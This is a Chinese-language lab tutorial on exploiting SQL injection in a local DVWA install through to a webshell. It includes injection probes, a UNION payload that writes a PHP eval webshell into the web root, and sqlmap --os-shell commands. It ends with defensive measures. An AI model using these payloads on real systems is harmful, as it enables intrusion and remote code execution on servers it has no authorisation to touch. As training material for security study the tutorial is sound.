搭建dvwa环境学习从MySql注入到GetShell
字数 1059 2025-08-18 11:37:33

MySQL注入到GetShell实战教学文档

一、环境搭建

1.1 所需工具

  • Xampp集成环境(Apache+MySQL+PHP)
  • DVWA(Damn Vulnerable Web Application)压缩包

1.2 安装步骤

  1. 安装并启动Xampp
    • 如Apache启动失败,修改config文件端口为未占用端口(如4433和8081)
  2. 解压DVWA到Xampp的htdocs目录下
  3. 访问DVWA登录页面完成环境搭建

二、手工注入到GetShell

2.1 注入点探测

  1. 输入1查询成功
  2. 输入1' and '1'='2查询失败
  3. 输入1' or '1234'='1234查询成功
    • 确认存在SQL注入漏洞

2.2 UNION查询利用

  1. 基础UNION查询测试:
    1' union select 1,2'
    
    • 返回两个SELECT语句的结果

2.3 写入WebShell

  1. 尝试写入PHP一句话木马:

    1' union select 1,'<?php @eval($_POST['pass']) ?>' into outfile 'C:/xampp/htdocs/dvwa/1.php' #
    
    • 可能因单引号问题报错
  2. 修正后的写入语句(使用双引号):

    1' union select 1,'<?php @eval($_POST["pass"]) ?>' into outfile 'C:/xampp/htdocs/dvwa/1.php' #
    
    • 成功在网站目录下创建1.php文件
  3. 使用中国菜刀等工具连接WebShell

三、使用SQLMap自动化攻击

3.1 基本注入检测

sqlmap -u "http://127.0.0.1:8081/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
  • 需添加cookie参数绕过登录验证

3.2 获取交互式Shell

sqlmap -u [URL] --cookie="[COOKIE]" --os-shell
  1. 选择PHP作为脚本语言
  2. 选择自定义上传位置
  3. 输入网站绝对路径(Windows需转义):
    C:\\xampp\\htdocs\\dvwa
    

3.3 上传WebShell

  1. SQLMap会自动上传两个PHP文件
  2. 通过上传点上传自定义PHP木马文件
  3. 使用中国菜刀连接获取Shell

四、关键知识点

4.1 MySQL文件操作函数

  • load_file(): 读取文件内容
  • into outfile: 写入文件到服务器

4.2 注入技巧

  • 单引号闭合问题处理
  • UNION查询的列数匹配
  • 绝对路径获取方法

4.3 权限要求

  • MySQL用户需有文件读写权限
  • 知道网站绝对路径
  • 无目录写入限制

五、防御措施

  1. 最小权限原则:限制MySQL用户权限
  2. 禁用危险函数:secure_file_priv限制文件操作
  3. 输入过滤:使用预处理语句
  4. Web目录不可写或严格权限控制
  5. 部署WAF防护SQL注入攻击

六、注意事项

  1. 本文仅用于合法授权测试和学习
  2. 真实环境通常有更多防护措施
  3. Linux环境下需考虑权限和路径差异
  4. 高安全级别DVWA环境需调整安全等级测试

七、扩展学习

  1. Linux环境下反弹Shell技术
  2. 绕过WAF的注入技巧
  3. 权限提升方法
  4. 日志清理技术

通过本教程,学习者可以全面了解从SQL注入到GetShell的完整过程,建议在虚拟机环境中实践,避免对真实系统造成影响。

MySQL注入到GetShell实战教学文档 一、环境搭建 1.1 所需工具 Xampp集成环境(Apache+MySQL+PHP) DVWA(Damn Vulnerable Web Application)压缩包 1.2 安装步骤 安装并启动Xampp 如Apache启动失败,修改config文件端口为未占用端口(如4433和8081) 解压DVWA到Xampp的htdocs目录下 访问DVWA登录页面完成环境搭建 二、手工注入到GetShell 2.1 注入点探测 输入 1 查询成功 输入 1' and '1'='2 查询失败 输入 1' or '1234'='1234 查询成功 确认存在SQL注入漏洞 2.2 UNION查询利用 基础UNION查询测试: 返回两个SELECT语句的结果 2.3 写入WebShell 尝试写入PHP一句话木马: 可能因单引号问题报错 修正后的写入语句(使用双引号): 成功在网站目录下创建1.php文件 使用中国菜刀等工具连接WebShell 三、使用SQLMap自动化攻击 3.1 基本注入检测 需添加cookie参数绕过登录验证 3.2 获取交互式Shell 选择PHP作为脚本语言 选择自定义上传位置 输入网站绝对路径(Windows需转义): 3.3 上传WebShell SQLMap会自动上传两个PHP文件 通过上传点上传自定义PHP木马文件 使用中国菜刀连接获取Shell 四、关键知识点 4.1 MySQL文件操作函数 load_file() : 读取文件内容 into outfile : 写入文件到服务器 4.2 注入技巧 单引号闭合问题处理 UNION查询的列数匹配 绝对路径获取方法 4.3 权限要求 MySQL用户需有文件读写权限 知道网站绝对路径 无目录写入限制 五、防御措施 最小权限原则:限制MySQL用户权限 禁用危险函数: secure_file_priv 限制文件操作 输入过滤:使用预处理语句 Web目录不可写或严格权限控制 部署WAF防护SQL注入攻击 六、注意事项 本文仅用于合法授权测试和学习 真实环境通常有更多防护措施 Linux环境下需考虑权限和路径差异 高安全级别DVWA环境需调整安全等级测试 七、扩展学习 Linux环境下反弹Shell技术 绕过WAF的注入技巧 权限提升方法 日志清理技术 通过本教程,学习者可以全面了解从SQL注入到GetShell的完整过程,建议在虚拟机环境中实践,避免对真实系统造成影响。